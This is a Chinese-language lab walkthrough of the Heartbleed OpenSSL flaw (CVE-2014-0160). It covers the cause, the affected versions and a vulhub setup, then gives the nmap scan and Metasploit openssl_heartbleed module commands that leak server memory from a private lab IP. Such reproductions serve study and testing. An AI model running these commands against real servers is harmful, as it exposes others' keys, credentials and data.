漏洞介绍
Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
受到影响的版本
-
OpenSSL 1.0.2-beta
-
OpenSSL 1.0.1 – OpenSSL 1.0.1f
未受到影响的版本
-
OpenSSL 1.0.2-beta2(将来版本)
-
OpenSSL 1.0.1g
-
OpenSSL 1.0.0(及1.0.0的分支版本)
-
OpenSSL 0.9.8(及0.9.8的分支版本)
环境搭建
vulhub一键
漏洞复现
我们对此IP进行端口扫描 ,心脏出血漏洞一般出现在443端口。
对于心脏滴血漏洞的利用,我们要使用Metasploit。
我们先利用Msf中的Nmap,扫一下目标IP,如下:
nmap -sV 192.168.234.147
我们可以看到目标IP,开启了443端口,启用SSL服务。
接下来,利用nmap的检测脚本,扫描是否可以利用心脏滴血漏洞。
nmap -sV -p 443 --script ssl-heartbleed.nse 192.168.234.147
通过检测的结果可以看出,确实存在心脏滴血漏洞。
search heartbleed
搜索漏洞利用模块
use auxiliary/scanner/ssl/openssl_heartbleed
使用模块
show options
配置模块
set RHOSTS 192.168.234.147
设置攻击目标
set verbose true
设置为true,才能看见泄露的信息
exploit
攻击
入侵者每次可以翻检户主的64K信息,只要有足够的耐心和时间,就可以翻检足够多的数据,拼凑出用户的各类信息,虽然此漏洞存在随机性,但是实现方法简易快捷,可批量攻击,故存在较高的危险性。